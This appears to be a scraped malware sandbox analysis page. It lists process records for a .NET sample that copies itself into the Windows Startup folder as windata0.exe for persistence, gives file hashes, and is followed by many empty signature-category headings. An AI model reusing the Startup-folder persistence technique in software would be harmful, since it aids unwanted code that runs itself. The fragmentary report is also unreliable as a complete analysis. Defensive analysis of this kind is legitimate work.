ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Fc4oWdmbpJ.exe PID: 3636 Parent PID: 3068

General

Start time:	13:36:11
Start date:	03/01/2018
Path:	C:\Users\user\Desktop\Fc4oWdmbpJ.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\Fc4oWdmbpJ.exe'
Imagebase:	0x76f30000
File size:	24576 bytes
MD5 hash:	26802D3F7895AEB970C47D46B3FE4408
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3828 Parent PID: 2944

General

Start time:	13:36:17
Start date:	03/01/2018
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe
Imagebase:	0x73c80000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3856 Parent PID: 516

General

Start time:	13:36:17
Start date:	03/01/2018
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x76f30000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: windata0.exe PID: 3884 Parent PID: 3856

General

Start time:	13:36:17
Start date:	03/01/2018
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windata0.exe'
Imagebase:	0x73c40000
File size:	24576 bytes
MD5 hash:	26802D3F7895AEB970C47D46B3FE4408
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 2356 Parent PID: 1124

General

Start time:	13:38:53
Start date:	03/01/2018
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):
Commandline:	unknown
Imagebase:
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	low

Disassembly

Code Analysis

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

Bitcoin Miner:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Screenshot

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: Fc4oWdmbpJ.exe PID: 3636 Parent PID: 3068

General

Chronological Activities

Analysis Process: explorer.exe PID: 3828 Parent PID: 2944

General

Chronological Activities

Analysis Process: explorer.exe PID: 3856 Parent PID: 516

General